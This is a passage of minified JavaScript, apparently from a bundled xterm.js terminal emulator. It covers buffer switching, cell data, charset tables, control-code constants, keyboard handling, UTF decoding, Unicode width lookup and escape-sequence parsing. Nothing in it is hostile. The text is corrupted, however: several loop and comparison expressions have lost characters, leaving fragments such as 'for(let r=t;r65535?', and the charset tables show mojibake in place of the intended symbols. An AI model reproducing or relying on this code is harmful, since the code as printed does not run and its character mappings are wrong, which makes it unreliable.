this._normal}activateNormalBuffer(){this._activeBuffer!==this._normal&&(this._normal.x=this._alt.x,this._normal.y=this._alt.y,this._alt.clearAllMarkers(),this._alt.clear(),this._activeBuffer=this._normal,this._onBufferActivate.fire({activeBuffer:this._normal,inactiveBuffer:this._alt}))}activateAltBuffer(e){this._activeBuffer!==this._alt&&(this._alt.fillViewportRows(e),this._alt.x=this._normal.x,this._alt.y=this._normal.y,this._activeBuffer=this._alt,this._onBufferActivate.fire({activeBuffer:this._alt,inactiveBuffer:this._normal}))}resize(e,t){this._normal.resize(e,t),this._alt.resize(e,t),this.setupTabStops(e)}setupTabStops(e){this._normal.setupTabStops(e),this._alt.setupTabStops(e)}}t.BufferSet=o},511:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.CellData=void 0;const s=i(482),r=i(643),n=i(3734);class o extends n.AttributeData{constructor(){super(...arguments),this.content=0,this.fg=0,this.bg=0,this.extended=new n.ExtendedAttrs,this.combinedData=""}static fromCharData(e){const t=new o;return t.setFromCharData(e),t}isCombined(){return 2097152&this.content}getWidth(){return this.content>>22}getChars(){return 2097152&this.content?this.combinedData:2097151&this.content?(0,s.stringFromCodePoint)(2097151&this.content):""}getCode(){return this.isCombined()?this.combinedData.charCodeAt(this.combinedData.length-1):2097151&this.content}setFromCharData(e){this.fg=e[r.CHAR_DATA_ATTR_INDEX],this.bg=0;let t=!1;if(e[r.CHAR_DATA_CHAR_INDEX].length>2)t=!0;else if(2===e[r.CHAR_DATA_CHAR_INDEX].length){const i=e[r.CHAR_DATA_CHAR_INDEX].charCodeAt(0);if(55296<=i&&i<=56319){const s=e[r.CHAR_DATA_CHAR_INDEX].charCodeAt(1);56320<=s&&s<=57343?this.content=1024*(i-55296)+s-56320+65536|e[r.CHAR_DATA_WIDTH_INDEX]<<22:t=!0}else t=!0}else this.content=e[r.CHAR_DATA_CHAR_INDEX].charCodeAt(0)|e[r.CHAR_DATA_WIDTH_INDEX]<<22;t&&(this.combinedData=e[r.CHAR_DATA_CHAR_INDEX],this.content=2097152|e[r.CHAR_DATA_WIDTH_INDEX]<<22)}getAsCharData(){return[this.fg,this.getChars(),this.getWidth(),this.getCode()]}}t.CellData=o},643:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.WHITESPACE_CELL_CODE=t.WHITESPACE_CELL_WIDTH=t.WHITESPACE_CELL_CHAR=t.NULL_CELL_CODE=t.NULL_CELL_WIDTH=t.NULL_CELL_CHAR=t.CHAR_DATA_CODE_INDEX=t.CHAR_DATA_WIDTH_INDEX=t.CHAR_DATA_CHAR_INDEX=t.CHAR_DATA_ATTR_INDEX=t.DEFAULT_EXT=t.DEFAULT_ATTR=t.DEFAULT_COLOR=void 0,t.DEFAULT_COLOR=0,t.DEFAULT_ATTR=256|t.DEFAULT_COLOR<<9,t.DEFAULT_EXT=0,t.CHAR_DATA_ATTR_INDEX=0,t.CHAR_DATA_CHAR_INDEX=1,t.CHAR_DATA_WIDTH_INDEX=2,t.CHAR_DATA_CODE_INDEX=3,t.NULL_CELL_CHAR="",t.NULL_CELL_WIDTH=1,t.NULL_CELL_CODE=0,t.WHITESPACE_CELL_CHAR=" ",t.WHITESPACE_CELL_WIDTH=1,t.WHITESPACE_CELL_CODE=32},4863:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.Marker=void 0;const s=i(8460),r=i(844);class n{get id(){return this._id}constructor(e){this.line=e,this.isDisposed=!1,this._disposables=[],this._id=n._nextId++,this._onDispose=this.register(new s.EventEmitter),this.onDispose=this._onDispose.event}dispose(){this.isDisposed||(this.isDisposed=!0,this.line=-1,this._onDispose.fire(),(0,r.disposeArray)(this._disposables),this._disposables.length=0)}register(e){return this._disposables.push(e),e}}t.Marker=n,n._nextId=1},7116:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DEFAULT_CHARSET=t.CHARSETS=void 0,t.CHARSETS={},t.DEFAULT_CHARSET=t.CHARSETS.B,t.CHARSETS[0]={"`":"◆",a:"▒",b:"␉",c:"␌",d:"␍",e:"␊",f:"°",g:"Âą",h:"␤",i:"␋",j:"┘",k:"┐",l:"┌",m:"└",n:"â”ŧ",o:"âŽē",p:"âŽģ",q:"─",r:"âŽŧ",s:"âŽŊ",t:"├",u:"┤",v:"┴",w:"â”Ŧ",x:"│",y:"≤",z:"â‰Ĩ","{":"Ī€","|":"≠","}":"ÂŖ","~":"¡"},t.CHARSETS.A={"#":"ÂŖ"},t.CHARSETS.B=void 0,t.CHARSETS[4]={"#":"ÂŖ","@":"ž","[":"ij","\\":"ÂŊ","]":"|","{":"¨","|":"f","}":"Âŧ","~":"´"},t.CHARSETS.C=t.CHARSETS[5]={"[":"Ä","\\":"Ö","]":"Å","^":"Ü","`":"Ê","{":"ä","|":"Ãļ","}":"ÃĨ","~":"Ãŧ"},t.CHARSETS.R={"#":"ÂŖ","@":"à","[":"°","\\":"ç","]":"§","{":"Ê","|":"Ú","}":"è","~":"¨"},t.CHARSETS.Q={"@":"à","[":"Ãĸ","\\":"ç","]":"ÃĒ","^":"ÃŽ","`":"ô","{":"Ê","|":"Ú","}":"è","~":"Ãģ"},t.CHARSETS.K={"@":"§","[":"Ä","\\":"Ö","]":"Ü","{":"ä","|":"Ãļ","}":"Ãŧ","~":"ß"},t.CHARSETS.Y={"#":"ÂŖ","@":"§","[":"°","\\":"ç","]":"Ê","`":"Ú","{":"à","|":"Ã˛","}":"è","~":"ÃŦ"},t.CHARSETS.E=t.CHARSETS[6]={"@":"Ä","[":"Æ","\\":"Ø","]":"Å","^":"Ü","`":"ä","{":"ÃĻ","|":"ø","}":"ÃĨ","~":"Ãŧ"},t.CHARSETS.Z={"#":"ÂŖ","@":"§","[":"ÂĄ","\\":"Ñ","]":"Âŋ","{":"°","|":"Ãą","}":"ç"},t.CHARSETS.H=t.CHARSETS[7]={"@":"É","[":"Ä","\\":"Ö","]":"Å","^":"Ü","`":"Ê","{":"ä","|":"Ãļ","}":"ÃĨ","~":"Ãŧ"},t.CHARSETS["="]={"#":"Ú","@":"à","[":"Ê","\\":"ç","]":"ÃĒ","^":"ÃŽ",_:"è","`":"ô","{":"ä","|":"Ãļ","}":"Ãŧ","~":"Ãģ"}},2584:(e,t)=>{var i,s,r;Object.defineProperty(t,"__esModule",{value:!0}),t.C1_ESCAPED=t.C1=t.C0=void 0,function(e){e.NUL="\0",e.SOH="",e.STX="",e.ETX="",e.EOT="",e.ENQ="",e.ACK="",e.BEL="",e.BS="\b",e.HT="\t",e.LF="\n",e.VT="\v",e.FF="\f",e.CR="\r",e.SO="",e.SI="",e.DLE="",e.DC1="",e.DC2="",e.DC3="",e.DC4="",e.NAK="",e.SYN="",e.ETB="",e.CAN="",e.EM="",e.SUB="",e.ESC="",e.FS="",e.GS="",e.RS="",e.US="",e.SP=" ",e.DEL=""}(i||(t.C0=i={})),function(e){e.PAD="€",e.HOP="",e.BPH="‚",e.NBH="ƒ",e.IND="„",e.NEL="…",e.SSA="†",e.ESA="‡",e.HTS="ˆ",e.HTJ="‰",e.VTS="Š",e.PLD="‹",e.PLU="Œ",e.RI="",e.SS2="Ž",e.SS3="",e.DCS="",e.PU1="‘",e.PU2="’",e.STS="“",e.CCH="”",e.MW="•",e.SPA="–",e.EPA="—",e.SOS="˜",e.SGCI="™",e.SCI="š",e.CSI="›",e.ST="œ",e.OSC="",e.PM="ž",e.APC="Ÿ"}(s||(t.C1=s={})),function(e){e.ST=`${i.ESC}\\`}(r||(t.C1_ESCAPED=r={}))},7399:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.evaluateKeyboardEvent=void 0;const s=i(2584),r={48:["0",")"],49:["1","!"],50:["2","@"],51:["3","#"],52:["4","$"],53:["5","%"],54:["6","^"],55:["7","&"],56:["8","*"],57:["9","("],186:[";",":"],187:["=","+"],188:[",","<"],189:["-","_"],190:[".",">"],191:["/","?"],192:["`","~"],219:["[","{"],220:["\\","|"],221:["]","}"],222:["'",'"']};t.evaluateKeyboardEvent=function(e,t,i,n){const o={type:0,cancel:!1,key:void 0},a=(e.shiftKey?1:0)|(e.altKey?2:0)|(e.ctrlKey?4:0)|(e.metaKey?8:0);switch(e.keyCode){case 0:"UIKeyInputUpArrow"===e.key?o.key=t?s.C0.ESC+"OA":s.C0.ESC+"[A":"UIKeyInputLeftArrow"===e.key?o.key=t?s.C0.ESC+"OD":s.C0.ESC+"[D":"UIKeyInputRightArrow"===e.key?o.key=t?s.C0.ESC+"OC":s.C0.ESC+"[C":"UIKeyInputDownArrow"===e.key&&(o.key=t?s.C0.ESC+"OB":s.C0.ESC+"[B");break;case 8:if(e.altKey){o.key=s.C0.ESC+s.C0.DEL;break}o.key=s.C0.DEL;break;case 9:if(e.shiftKey){o.key=s.C0.ESC+"[Z";break}o.key=s.C0.HT,o.cancel=!0;break;case 13:o.key=e.altKey?s.C0.ESC+s.C0.CR:s.C0.CR,o.cancel=!0;break;case 27:o.key=s.C0.ESC,e.altKey&&(o.key=s.C0.ESC+s.C0.ESC),o.cancel=!0;break;case 37:if(e.metaKey)break;a?(o.key=s.C0.ESC+"[1;"+(a+1)+"D",o.key===s.C0.ESC+"[1;3D"&&(o.key=s.C0.ESC+(i?"b":"[1;5D"))):o.key=t?s.C0.ESC+"OD":s.C0.ESC+"[D";break;case 39:if(e.metaKey)break;a?(o.key=s.C0.ESC+"[1;"+(a+1)+"C",o.key===s.C0.ESC+"[1;3C"&&(o.key=s.C0.ESC+(i?"f":"[1;5C"))):o.key=t?s.C0.ESC+"OC":s.C0.ESC+"[C";break;case 38:if(e.metaKey)break;a?(o.key=s.C0.ESC+"[1;"+(a+1)+"A",i||o.key!==s.C0.ESC+"[1;3A"||(o.key=s.C0.ESC+"[1;5A")):o.key=t?s.C0.ESC+"OA":s.C0.ESC+"[A";break;case 40:if(e.metaKey)break;a?(o.key=s.C0.ESC+"[1;"+(a+1)+"B",i||o.key!==s.C0.ESC+"[1;3B"||(o.key=s.C0.ESC+"[1;5B")):o.key=t?s.C0.ESC+"OB":s.C0.ESC+"[B";break;case 45:e.shiftKey||e.ctrlKey||(o.key=s.C0.ESC+"[2~");break;case 46:o.key=a?s.C0.ESC+"[3;"+(a+1)+"~":s.C0.ESC+"[3~";break;case 36:o.key=a?s.C0.ESC+"[1;"+(a+1)+"H":t?s.C0.ESC+"OH":s.C0.ESC+"[H";break;case 35:o.key=a?s.C0.ESC+"[1;"+(a+1)+"F":t?s.C0.ESC+"OF":s.C0.ESC+"[F";break;case 33:e.shiftKey?o.type=2:e.ctrlKey?o.key=s.C0.ESC+"[5;"+(a+1)+"~":o.key=s.C0.ESC+"[5~";break;case 34:e.shiftKey?o.type=3:e.ctrlKey?o.key=s.C0.ESC+"[6;"+(a+1)+"~":o.key=s.C0.ESC+"[6~";break;case 112:o.key=a?s.C0.ESC+"[1;"+(a+1)+"P":s.C0.ESC+"OP";break;case 113:o.key=a?s.C0.ESC+"[1;"+(a+1)+"Q":s.C0.ESC+"OQ";break;case 114:o.key=a?s.C0.ESC+"[1;"+(a+1)+"R":s.C0.ESC+"OR";break;case 115:o.key=a?s.C0.ESC+"[1;"+(a+1)+"S":s.C0.ESC+"OS";break;case 116:o.key=a?s.C0.ESC+"[15;"+(a+1)+"~":s.C0.ESC+"[15~";break;case 117:o.key=a?s.C0.ESC+"[17;"+(a+1)+"~":s.C0.ESC+"[17~";break;case 118:o.key=a?s.C0.ESC+"[18;"+(a+1)+"~":s.C0.ESC+"[18~";break;case 119:o.key=a?s.C0.ESC+"[19;"+(a+1)+"~":s.C0.ESC+"[19~";break;case 120:o.key=a?s.C0.ESC+"[20;"+(a+1)+"~":s.C0.ESC+"[20~";break;case 121:o.key=a?s.C0.ESC+"[21;"+(a+1)+"~":s.C0.ESC+"[21~";break;case 122:o.key=a?s.C0.ESC+"[23;"+(a+1)+"~":s.C0.ESC+"[23~";break;case 123:o.key=a?s.C0.ESC+"[24;"+(a+1)+"~":s.C0.ESC+"[24~";break;default:if(!e.ctrlKey||e.shiftKey||e.altKey||e.metaKey)if(i&&!n||!e.altKey||e.metaKey)!i||e.altKey||e.ctrlKey||e.shiftKey||!e.metaKey?e.key&&!e.ctrlKey&&!e.altKey&&!e.metaKey&&e.keyCode>=48&&1===e.key.length?o.key=e.key:e.key&&e.ctrlKey&&("_"===e.key&&(o.key=s.C0.US),"@"===e.key&&(o.key=s.C0.NUL)):65===e.keyCode&&(o.type=1);else{const t=r[e.keyCode],i=null==t?void 0:t[e.shiftKey?1:0];if(i)o.key=s.C0.ESC+i;else if(e.keyCode>=65&&e.keyCode<=90){const t=e.ctrlKey?e.keyCode-64:e.keyCode+32;let i=String.fromCharCode(t);e.shiftKey&&(i=i.toUpperCase()),o.key=s.C0.ESC+i}else if(32===e.keyCode)o.key=s.C0.ESC+(e.ctrlKey?s.C0.NUL:" ");else if("Dead"===e.key&&e.code.startsWith("Key")){let t=e.code.slice(3,4);e.shiftKey||(t=t.toLowerCase()),o.key=s.C0.ESC+t,o.cancel=!0}}else e.keyCode>=65&&e.keyCode<=90?o.key=String.fromCharCode(e.keyCode-64):32===e.keyCode?o.key=s.C0.NUL:e.keyCode>=51&&e.keyCode<=55?o.key=String.fromCharCode(e.keyCode-51+27):56===e.keyCode?o.key=s.C0.DEL:219===e.keyCode?o.key=s.C0.ESC:220===e.keyCode?o.key=s.C0.FS:221===e.keyCode&&(o.key=s.C0.GS)}return o}},482:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.Utf8ToUtf32=t.StringToUtf32=t.utf32ToString=t.stringFromCodePoint=void 0,t.stringFromCodePoint=function(e){return e>65535?(e-=65536,String.fromCharCode(55296+(e>>10))+String.fromCharCode(e%1024+56320)):String.fromCharCode(e)},t.utf32ToString=function(e,t=0,i=e.length){let s="";for(let r=t;r65535?(t-=65536,s+=String.fromCharCode(55296+(t>>10))+String.fromCharCode(t%1024+56320)):s+=String.fromCharCode(t)}return s},t.StringToUtf32=class{constructor(){this._interim=0}clear(){this._interim=0}decode(e,t){const i=e.length;if(!i)return 0;let s=0,r=0;if(this._interim){const i=e.charCodeAt(r++);56320<=i&&i<=57343?t[s++]=1024*(this._interim-55296)+i-56320+65536:(t[s++]=this._interim,t[s++]=i),this._interim=0}for(let n=r;n=i)return this._interim=r,s;const o=e.charCodeAt(n);56320<=o&&o<=57343?t[s++]=1024*(r-55296)+o-56320+65536:(t[s++]=r,t[s++]=o)}else 65279!==r&&(t[s++]=r)}return s}},t.Utf8ToUtf32=class{constructor(){this.interim=new Uint8Array(3)}clear(){this.interim.fill(0)}decode(e,t){const i=e.length;if(!i)return 0;let s,r,n,o,a=0,h=0,c=0;if(this.interim[0]){let s=!1,r=this.interim[0];r&=192==(224&r)?31:224==(240&r)?15:7;let n,o=0;for(;(n=63&this.interim[++o])&&o<4;)r<<=6,r|=n;const h=192==(224&this.interim[0])?2:224==(240&this.interim[0])?3:4,l=h-o;for(;c=i)return 0;if(n=e[c++],128!=(192&n)){c--,s=!0;break}this.interim[o++]=n,r<<=6,r|=63&n}s||(2===h?r<128?c--:t[a++]=r:3===h?r<2048||r>=55296&&r<=57343||65279===r||(t[a++]=r):r<65536||r>1114111||(t[a++]=r)),this.interim.fill(0)}const l=i-4;let d=c;for(;d=i)return this.interim[0]=s,a;if(r=e[d++],128!=(192&r)){d--;continue}if(h=(31&s)<<6|63&r,h<128){d--;continue}t[a++]=h}else if(224==(240&s)){if(d>=i)return this.interim[0]=s,a;if(r=e[d++],128!=(192&r)){d--;continue}if(d>=i)return this.interim[0]=s,this.interim[1]=r,a;if(n=e[d++],128!=(192&n)){d--;continue}if(h=(15&s)<<12|(63&r)<<6|63&n,h<2048||h>=55296&&h<=57343||65279===h)continue;t[a++]=h}else if(240==(248&s)){if(d>=i)return this.interim[0]=s,a;if(r=e[d++],128!=(192&r)){d--;continue}if(d>=i)return this.interim[0]=s,this.interim[1]=r,a;if(n=e[d++],128!=(192&n)){d--;continue}if(d>=i)return this.interim[0]=s,this.interim[1]=r,this.interim[2]=n,a;if(o=e[d++],128!=(192&o)){d--;continue}if(h=(7&s)<<18|(63&r)<<12|(63&n)<<6|63&o,h<65536||h>1114111)continue;t[a++]=h}}return a}}},225:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.UnicodeV6=void 0;const i=[[768,879],[1155,1158],[1160,1161],[1425,1469],[1471,1471],[1473,1474],[1476,1477],[1479,1479],[1536,1539],[1552,1557],[1611,1630],[1648,1648],[1750,1764],[1767,1768],[1770,1773],[1807,1807],[1809,1809],[1840,1866],[1958,1968],[2027,2035],[2305,2306],[2364,2364],[2369,2376],[2381,2381],[2385,2388],[2402,2403],[2433,2433],[2492,2492],[2497,2500],[2509,2509],[2530,2531],[2561,2562],[2620,2620],[2625,2626],[2631,2632],[2635,2637],[2672,2673],[2689,2690],[2748,2748],[2753,2757],[2759,2760],[2765,2765],[2786,2787],[2817,2817],[2876,2876],[2879,2879],[2881,2883],[2893,2893],[2902,2902],[2946,2946],[3008,3008],[3021,3021],[3134,3136],[3142,3144],[3146,3149],[3157,3158],[3260,3260],[3263,3263],[3270,3270],[3276,3277],[3298,3299],[3393,3395],[3405,3405],[3530,3530],[3538,3540],[3542,3542],[3633,3633],[3636,3642],[3655,3662],[3761,3761],[3764,3769],[3771,3772],[3784,3789],[3864,3865],[3893,3893],[3895,3895],[3897,3897],[3953,3966],[3968,3972],[3974,3975],[3984,3991],[3993,4028],[4038,4038],[4141,4144],[4146,4146],[4150,4151],[4153,4153],[4184,4185],[4448,4607],[4959,4959],[5906,5908],[5938,5940],[5970,5971],[6002,6003],[6068,6069],[6071,6077],[6086,6086],[6089,6099],[6109,6109],[6155,6157],[6313,6313],[6432,6434],[6439,6440],[6450,6450],[6457,6459],[6679,6680],[6912,6915],[6964,6964],[6966,6970],[6972,6972],[6978,6978],[7019,7027],[7616,7626],[7678,7679],[8203,8207],[8234,8238],[8288,8291],[8298,8303],[8400,8431],[12330,12335],[12441,12442],[43014,43014],[43019,43019],[43045,43046],[64286,64286],[65024,65039],[65056,65059],[65279,65279],[65529,65531]],s=[[68097,68099],[68101,68102],[68108,68111],[68152,68154],[68159,68159],[119143,119145],[119155,119170],[119173,119179],[119210,119213],[119362,119364],[917505,917505],[917536,917631],[917760,917999]];let r;t.UnicodeV6=class{constructor(){if(this.version="6",!r){r=new Uint8Array(65536),r.fill(1),r[0]=0,r.fill(0,1,32),r.fill(0,127,160),r.fill(2,4352,4448),r[9001]=2,r[9002]=2,r.fill(2,11904,42192),r[12351]=1,r.fill(2,44032,55204),r.fill(2,63744,64256),r.fill(2,65040,65050),r.fill(2,65072,65136),r.fill(2,65280,65377),r.fill(2,65504,65511);for(let e=0;et[r][1])return!1;for(;r>=s;)if(i=s+r>>1,e>t[i][1])s=i+1;else{if(!(e=131072&&e<=196605||e>=196608&&e<=262141?2:1}}},5981:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.WriteBuffer=void 0;const s=i(8460),r=i(844);class n extends r.Disposable{constructor(e){super(),this._action=e,this._writeBuffer=[],this._callbacks=[],this._pendingData=0,this._bufferOffset=0,this._isSyncWriting=!1,this._syncCalls=0,this._didUserInput=!1,this._onWriteParsed=this.register(new s.EventEmitter),this.onWriteParsed=this._onWriteParsed.event}handleUserInput(){this._didUserInput=!0}writeSync(e,t){if(void 0!==t&&this._syncCalls>t)return void(this._syncCalls=0);if(this._pendingData+=e.length,this._writeBuffer.push(e),this._callbacks.push(void 0),this._syncCalls++,this._isSyncWriting)return;let i;for(this._isSyncWriting=!0;i=this._writeBuffer.shift();){this._action(i);const e=this._callbacks.shift();e&&e()}this._pendingData=0,this._bufferOffset=2147483647,this._isSyncWriting=!1,this._syncCalls=0}write(e,t){if(this._pendingData>5e7)throw new Error("write data discarded, use flow control to avoid losing data");if(!this._writeBuffer.length){if(this._bufferOffset=0,this._didUserInput)return this._didUserInput=!1,this._pendingData+=e.length,this._writeBuffer.push(e),this._callbacks.push(t),void this._innerWrite();setTimeout((()=>this._innerWrite()))}this._pendingData+=e.length,this._writeBuffer.push(e),this._callbacks.push(t)}_innerWrite(e=0,t=!0){const i=e||Date.now();for(;this._writeBuffer.length>this._bufferOffset;){const e=this._writeBuffer[this._bufferOffset],s=this._action(e,t);if(s){const e=e=>Date.now()-i>=12?setTimeout((()=>this._innerWrite(0,e))):this._innerWrite(i,e);return void s.catch((e=>(queueMicrotask((()=>{throw e})),Promise.resolve(!1)))).then(e)}const r=this._callbacks[this._bufferOffset];if(r&&r(),this._bufferOffset++,this._pendingData-=e.length,Date.now()-i>=12)break}this._writeBuffer.length>this._bufferOffset?(this._bufferOffset>50&&(this._writeBuffer=this._writeBuffer.slice(this._bufferOffset),this._callbacks=this._callbacks.slice(this._bufferOffset),this._bufferOffset=0),setTimeout((()=>this._innerWrite()))):(this._writeBuffer.length=0,this._callbacks.length=0,this._pendingData=0,this._bufferOffset=0),this._onWriteParsed.fire()}}t.WriteBuffer=n},5941:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.toRgbString=t.parseColor=void 0;const i=/^([\da-f])\/([\da-f])\/([\da-f])$|^([\da-f]{2})\/([\da-f]{2})\/([\da-f]{2})$|^([\da-f]{3})\/([\da-f]{3})\/([\da-f]{3})$|^([\da-f]{4})\/([\da-f]{4})\/([\da-f]{4})$/,s=/^[\da-f]+$/;function r(e,t){const i=e.toString(16),s=i.length<2?"0"+i:i;switch(t){case 4:return i[0];case 8:return s;case 12:return(s+s).slice(0,3);default:return s+s}}t.parseColor=function(e){if(!e)return;let t=e.toLowerCase();if(0===t.indexOf("rgb:")){t=t.slice(4);const e=i.exec(t);if(e){const t=e[1]?15:e[4]?255:e[7]?4095:65535;return[Math.round(parseInt(e[1]||e[4]||e[7]||e[10],16)/t*255),Math.round(parseInt(e[2]||e[5]||e[8]||e[11],16)/t*255),Math.round(parseInt(e[3]||e[6]||e[9]||e[12],16)/t*255)]}}else if(0===t.indexOf("#")&&(t=t.slice(1),s.exec(t)&&[3,6,9,12].includes(t.length))){const e=t.length/3,i=[0,0,0];for(let s=0;s<3;++s){const r=parseInt(t.slice(e*s,e*s+e),16);i[s]=1===e?r<<4:2===e?r:3===e?r>>4:r>>8}return i}},t.toRgbString=function(e,t=16){const[i,s,n]=e;return`rgb:${r(i,t)}/${r(s,t)}/${r(n,t)}`}},5770:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.PAYLOAD_LIMIT=void 0,t.PAYLOAD_LIMIT=1e7},6351:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DcsHandler=t.DcsParser=void 0;const s=i(482),r=i(8742),n=i(5770),o=[];t.DcsParser=class{constructor(){this._handlers=Object.create(null),this._active=o,this._ident=0,this._handlerFb=()=>{},this._stack={paused:!1,loopPosition:0,fallThrough:!1}}dispose(){this._handlers=Object.create(null),this._handlerFb=()=>{},this._active=o}registerHandler(e,t){void 0===this._handlers[e]&&(this._handlers[e]=[]);const i=this._handlers[e];return i.push(t),{dispose:()=>{const e=i.indexOf(t);-1!==e&&i.splice(e,1)}}}clearHandler(e){this._handlers[e]&&delete this._handlers[e]}setHandlerFallback(e){this._handlerFb=e}reset(){if(this._active.length)for(let e=this._stack.paused?this._stack.loopPosition-1:this._active.length-1;e>=0;--e)this._active[e].unhook(!1);this._stack.paused=!1,this._active=o,this._ident=0}hook(e,t){if(this.reset(),this._ident=e,this._active=this._handlers[e]||o,this._active.length)for(let e=this._active.length-1;e>=0;e--)this._active[e].hook(t);else this._handlerFb(this._ident,"HOOK",t)}put(e,t,i){if(this._active.length)for(let s=this._active.length-1;s>=0;s--)this._active[s].put(e,t,i);else this._handlerFb(this._ident,"PUT",(0,s.utf32ToString)(e,t,i))}unhook(e,t=!0){if(this._active.length){let i=!1,s=this._active.length-1,r=!1;if(this._stack.paused&&(s=this._stack.loopPosition-1,i=t,r=this._stack.fallThrough,this._stack.paused=!1),!r&&!1===i){for(;s>=0&&(i=this._active[s].unhook(e),!0!==i);s--)if(i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!1,i;s--}for(;s>=0;s--)if(i=this._active[s].unhook(!1),i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!0,i}else this._handlerFb(this._ident,"UNHOOK",e);this._active=o,this._ident=0}};const a=new r.Params;a.addParam(0),t.DcsHandler=class{constructor(e){this._handler=e,this._data="",this._params=a,this._hitLimit=!1}hook(e){this._params=e.length>1||e.params[0]?e.clone():a,this._data="",this._hitLimit=!1}put(e,t,i){this._hitLimit||(this._data+=(0,s.utf32ToString)(e,t,i),this._data.length>n.PAYLOAD_LIMIT&&(this._data="",this._hitLimit=!0))}unhook(e){let t=!1;if(this._hitLimit)t=!1;else if(e&&(t=this._handler(this._data,this._params),t instanceof Promise))return t.then((e=>(this._params=a,this._data="",this._hitLimit=!1,e)));return this._params=a,this._data="",this._hitLimit=!1,t}}},2015:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.EscapeSequenceParser=t.VT500_TRANSITION_TABLE=t.TransitionTable=void 0;const s=i(844),r=i(8742),n=i(6242),o=i(6351);class a{constructor(e){this.table=new Uint8Array(e)}setDefault(e,t){this.table.fill(e<<4|t)}add(e,t,i,s){this.table[t<<8|e]=i<<4|s}addMany(e,t,i,s){for(let r=0;rt)),i=(e,i)=>t.slice(e,i),s=i(32,127),r=i(0,24);r.push(25),r.push.apply(r,i(28,32));const n=i(0,14);let o;for(o in e.setDefault(1,0),e.addMany(s,0,2,0),n)e.addMany([24,26,153,154],o,3,0),e.addMany(i(128,144),o,3,0),e.addMany(i(144,152),o,3,0),e.add(156,o,0,0),e.add(27,o,11,1),e.add(157,o,4,8),e.addMany([152,158,159],o,0,7),e.add(155,o,11,3),e.add(144,o,11,9);return e.addMany(r,0,3,0),e.addMany(r,1,3,1),e.add(127,1,0,1),e.addMany(r,8,0,8),e.addMany(r,3,3,3),e.add(127,3,0,3),e.addMany(r,4,3,4),e.add(127,4,0,4),e.addMany(r,6,3,6),e.addMany(r,5,3,5),e.add(127,5,0,5),e.addMany(r,2,3,2),e.add(127,2,0,2),e.add(93,1,4,8),e.addMany(s,8,5,8),e.add(127,8,5,8),e.addMany([156,27,24,26,7],8,6,0),e.addMany(i(28,32),8,0,8),e.addMany([88,94,95],1,0,7),e.addMany(s,7,0,7),e.addMany(r,7,0,7),e.add(156,7,0,0),e.add(127,7,0,7),e.add(91,1,11,3),e.addMany(i(64,127),3,7,0),e.addMany(i(48,60),3,8,4),e.addMany([60,61,62,63],3,9,4),e.addMany(i(48,60),4,8,4),e.addMany(i(64,127),4,7,0),e.addMany([60,61,62,63],4,0,6),e.addMany(i(32,64),6,0,6),e.add(127,6,0,6),e.addMany(i(64,127),6,0,0),e.addMany(i(32,48),3,9,5),e.addMany(i(32,48),5,9,5),e.addMany(i(48,64),5,0,6),e.addMany(i(64,127),5,7,0),e.addMany(i(32,48),4,9,5),e.addMany(i(32,48),1,9,2),e.addMany(i(32,48),2,9,2),e.addMany(i(48,127),2,10,0),e.addMany(i(48,80),1,10,0),e.addMany(i(81,88),1,10,0),e.addMany([89,90,92],1,10,0),e.addMany(i(96,127),1,10,0),e.add(80,1,11,9),e.addMany(r,9,0,9),e.add(127,9,0,9),e.addMany(i(28,32),9,0,9),e.addMany(i(32,48),9,9,12),e.addMany(i(48,60),9,8,10),e.addMany([60,61,62,63],9,9,10),e.addMany(r,11,0,11),e.addMany(i(32,128),11,0,11),e.addMany(i(28,32),11,0,11),e.addMany(r,10,0,10),e.add(127,10,0,10),e.addMany(i(28,32),10,0,10),e.addMany(i(48,60),10,8,10),e.addMany([60,61,62,63],10,0,11),e.addMany(i(32,48),10,9,12),e.addMany(r,12,0,12),e.add(127,12,0,12),e.addMany(i(28,32),12,0,12),e.addMany(i(32,48),12,9,12),e.addMany(i(48,64),12,0,11),e.addMany(i(64,127),12,12,13),e.addMany(i(64,127),10,12,13),e.addMany(i(64,127),9,12,13),e.addMany(r,13,13,13),e.addMany(s,13,13,13),e.add(127,13,0,13),e.addMany([27,156,24,26],13,14,0),e.add(h,0,2,0),e.add(h,8,5,8),e.add(h,6,0,6),e.add(h,11,0,11),e.add(h,13,13,13),e}();class c extends s.Disposable{constructor(e=t.VT500_TRANSITION_TABLE){super(),this._transitions=e,this._parseStack={state:0,handlers:[],handlerPos:0,transition:0,chunkPos:0},this.initialState=0,this.currentState=this.initialState,this._params=new r.Params,this._params.addParam(0),this._collect=0,this.precedingCodepoint=0,this._printHandlerFb=(e,t,i)=>{},this._executeHandlerFb=e=>{},this._csiHandlerFb=(e,t)=>{},this._escHandlerFb=e=>{},this._errorHandlerFb=e=>e,this._printHandler=this._printHandlerFb,this._executeHandlers=Object.create(null),this._csiHandlers=Object.create(null),this._escHandlers=Object.create(null),this.register((0,s.toDisposable)((()=>{this._csiHandlers=Object.create(null),this._executeHandlers=Object.create(null),this._escHandlers=Object.create(null)}))),this._oscParser=this.register(new n.OscParser),this._dcsParser=this.register(new o.DcsParser),this._errorHandler=this._errorHandlerFb,this.registerEscHandler({final:"\\"},(()=>!0))}_identifier(e,t=[64,126]){let i=0;if(e.prefix){if(e.prefix.length>1)throw new Error("only one byte as prefix supported");if(i=e.prefix.charCodeAt(0),i&&60>i||i>63)throw new Error("prefix must be in range 0x3c .. 0x3f")}if(e.intermediates){if(e.intermediates.length>2)throw new Error("only two bytes as intermediates are supported");for(let t=0;ts||s>47)throw new Error("intermediate must be in range 0x20 .. 0x2f");i<<=8,i|=s}}if(1!==e.final.length)throw new Error("final must be a single byte");const 